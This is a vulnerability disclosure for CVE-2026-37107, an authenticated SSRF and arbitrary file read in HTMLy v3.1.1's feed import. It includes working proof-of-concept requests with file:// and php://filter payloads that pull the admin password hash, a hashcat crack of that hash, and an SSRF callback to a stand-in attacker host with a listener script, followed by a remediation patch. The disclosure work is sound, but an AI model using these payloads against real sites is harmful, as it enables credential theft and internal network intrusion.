HTMLy v3.1.1 Authenticated SSRF via get_feed() Leads to Arbitrary File Read (CVE-2026-37107)
0x01 Vulnerability Overview
CVE ID: CVE-2026-37107
Affected Version: HTMLy - v3.1.1 (and prior versions sharing the same feed import code)
Vulnerability Type: Server-Side Request Forgery (SSRF) leading to Arbitrary File Read and Information Disclosure
Protocol validation is missing in HTMLy's feed import functionality. The url POST parameter at the /admin/import endpoint is passed directly to file_get_contents() inside the get_feed() function with no scheme restriction. An authenticated attacker can supply file://, php://filter or http:// URLs to read arbitrary local files (including the admin password hash) or probe internal network services.
0x02 Root Cause Analysis
2.1 Root Cause
The get_feed() function in system/admin/admin.php is designed to fetch an RSS/Atom feed from a user-supplied URL. However, it never validates the URL scheme before calling file_get_contents(). Because PHP's stream wrapper layer treats file://, php://filter, http:// and other wrappers uniformly, any protocol supported by the PHP runtime can be triggered by a crafted url parameter.
2.2 Affected Code
// system/admin/admin.php (get_feed(), lines 1531-1534)
$source = file_get_contents($feed_url); // No protocol validation
$feed = new SimpleXMLElement($source); // contents reflected in parser error
// system/htmly.php (POST /admin/import route, lines 1772-1832)
$feed_url = $INPUT->post->str('url'); // attacker-controlled
// ...
get_feed($feed_url); // called twice (line 1785 / 1786)
The endpoint requires a valid admin session and a CSRF token (bound to PHPSESSID), so exploitation is authenticated (PR:H).
2.3 Impact of display_errors Configuration
The reflection channel depends on PHP's display_errors setting:
Configuration: display_errors=Off (common production default)
Reflection Channel: None
Exploitation Result: File read still executes, but the response is an empty HTTP 500; the fetched content can no longer be read back through the HTTP response. SSRF itself is unaffected — outbound requests are still issued (callback verified), so this setting only disables the in-band reflection channel and does not mitigate SSRF
Configuration: display_errors=On
Reflection Channel: SimpleXMLElement parser error in HTTP response
Exploitation Result: First 80 characters of the fetched content are echoed directly in the Warning message
Note: file:// plaintext content is reflected line by line. The first line of users/admin.ini (password = <60-char bcrypt hash> = 71 chars) fits inside the 80-character window completely, while the php://filter base64 output of the same file (180 chars) is cut off at the 80th character — so file:// is the preferred channel for full-file-line disclosure.
0x03 Environment Setup
Deploy HTMLy v3.1.1 in an isolated local environment, ensuring it is isolated from the internet.
Test Environment: http://[YOUR_LOCAL_IP]
Stack: Apache + PHP 7.3.4, WebRoot example: D:/shentou/htmly-3.1.1/
0x04 Vulnerability Reproduction
4.1 Attack Vector
Send a POST request to the feed import endpoint with a malicious scheme in the url parameter. The malicious URL must be URL-encoded. A valid admin session (PHPSESSID) and csrf_token are required.
4.2 HTTP Request Example
Step 1 - login and fetch the CSRF token:
GET /admin/import HTTP/1.1
Host: [YOUR_LOCAL_IP]
Cookie: PHPSESSID=<SESSION_ID>
# extract from HTML:
<input type="hidden" name="csrf_token" value="<CSRF_TOKEN>">
Step 2 - all exploit requests share the same request shape; only the url value changes:
POST /admin/import HTTP/1.1
Host: [YOUR_LOCAL_IP]
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<SESSION_ID>
url=<URL_ENCODED_PAYLOAD>&csrf_token=<CSRF_TOKEN>&submit=Start+Import+Feed
4.3 Reproduction Steps
- Path Discovery: submit
url=file%3A%2F%2F%2FC%3A%2F— thefile_get_contents()failure Warning reveals the absolute web root:
Warning: file_get_contents(file:///C:/): failed to open stream: No such file or directory in D:\shentou\htmly-3.1.1\system\admin\admin.php on line 1533

- Arbitrary File Read: using the web root discovered in step 1, submit
url=file%3A%2F%2F%2FD%3A%2Fshentou%2Fhtmly-3.1.1%2Fconfig%2Fusers%2Fadmin.ini. The response (HTTP 200) reflects the complete first line ofadmin.iniin theSimpleXMLElementparser error:
Warning: SimpleXMLElement::__construct(): password = $2y$10$WviBJCqjxQPOpwLKFNTezekqAPUrAqaW/y/WSrAoN4mN6AW/Tmi8m in .../system/admin/admin.php on line 1534
Call Stack:
6. get_feed(...) .../system/htmly.php:1785
7. SimpleXMLElement->__construct(...) .../system/admin/admin.php:1534

- Wrapper diversity check: submit
url=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3DD%3A%2Fshentou%2Fhtmly-3.1.1%2Fconfig%2Fusers%2Fadmin.ini— the base64 output is echoed in the same parser error (truncated at ~80 chars), proving arbitrary PHP wrapper reads.


- Hash Cracking (impact demonstration of the leaked hash):
$ echo '$2y$10$WviBJCqjxQPOpwLKFNTezekqAPUrAqaW/y/WSrAoN4mN6AW/Tmi8m' > hash.txt
$ hashcat -m 3200 hash.txt wordlist.txt --potfile-disable
$2y$10$WviBJCqjxQPOpwLKFNTezekqAPUrAqaW/y/WSrAoN4mN6AW/Tmi8m:Admin@123
$ php -r "var_dump(password_verify('Admin@123', trim(file_get_contents('D:/shentou/hash.txt'))));"
bool(true)

- SSRF out-of-band proof: start the listener below, then submit
url=http%3A%2F%2F<ATTACKER>%3A9876%2Ffeed.xml; the listener receives 2 callback requests (becauseget_feed()is invoked twice in the import route):
# ssrf_listener.py - python ssrf_listener.py
import sys
from http.server import BaseHTTPRequestHandler, HTTPServer
sys.stdout.reconfigure(encoding="utf-8")
PORT = 9876
hits = 0
class H(BaseHTTPRequestHandler):
def _log(self):
global hits
hits += 1
print(f"[HIT #{hits}] {self.command} {self.path} from {self.client_address[0]}", flush=True)
def do_GET(self):
self._log()
self.send_response(200)
self.send_header("Content-Type", "application/xml")
self.end_headers()
self.wfile.write(b"<?xml version='1.0'?><rss><channel><title>ok</title></channel></rss>")
def do_POST(self):
self._log()
self.send_response(200)
self.end_headers()
def log_message(self, *a):
pass
print(f"[*] SSRF listener listening on 0.0.0.0:{PORT} (Ctrl+C to stop)", flush=True)
HTTPServer(("0.0.0.0", PORT), H).serve_forever()
Listener output:
[*] SSRF listener listening on 0.0.0.0:9876 (Ctrl+C to stop)
[HIT #1] GET /feed.xml from 192.168.139.10
[HIT #2] GET /feed.xml from 192.168.139.10

An HTTP listener is the preferred evidence here: it proves a complete HTTP request was issued (method, path, source IP) and preserves the double-invocation finding. If outbound HTTP is blocked, a DNSLog/OOB platform can substitute — submit url=http%3A%2F%2F<unique>.<dnslog-domain>%2Ffeed.xml; a resolved query proves the SSRF exists and shows internal network reachability — but it only proves domain resolution, not a full HTTP request, and OS DNS caching may merge the two invocations into a single query, losing the double-call evidence.
4.4 Configuration Difference Verification
Configuration: display_errors=Off
Reproduction Result: file:// payloads return HTTP 500 with empty body (Content-Length: 0) and the fetched content is no longer reflected; the http:// SSRF payload is unaffected and still triggers 2 callbacks — in-band content disclosure requires display_errors=On
Configuration: display_errors=On
Reproduction Result: HTTP 200 with full reflection of fetched content in the parser error
0x05 Vulnerability Impact
- Arbitrary local file read through
file://andphp://filterwrappers (configuration files, user databases, secrets) - Leaked admin bcrypt hash can be cracked offline to recover the plaintext password
- SSRF against internal services (e.g.
http://127.0.0.1:3306,http://192.168.1.100:8080) for network reconnaissance - Absolute path disclosure via
file://error messages - Prerequisite: a valid admin session (high privilege), limiting remote unauthenticated exploitation
0x06 Remediation Recommendations
6.1 Protocol Validation (Patch)
Validate the url parameter to allow only http:// and https:// before calling file_get_contents():
function get_feed($feed_url) {
$scheme = strtolower(parse_url($feed_url, PHP_URL_SCHEME));
if (!in_array($scheme, ['http', 'https'], true)) {
return false; // reject non-http(s) wrappers
}
// additionally block loopback / private ranges for SSRF hardening
// ...
$source = file_get_contents($feed_url);
// ...
}
6.2 Configuration Hardening
- Set
display_errors=Offin production so parser errors never reflect file contents - Disable the feed import action if not required
- Keep HTMLy updated to the latest release
0x07 Conclusion
This issue has been successfully verified in a local test environment. When an attacker controls the url parameter of the feed import feature, the absence of scheme validation in get_feed() allows file:// and php://filter reads of arbitrary local files and arbitrary HTTP requests to internal services.
Discoverer: Feng Jiawei
Reference:
浙公网安备 33010602011771号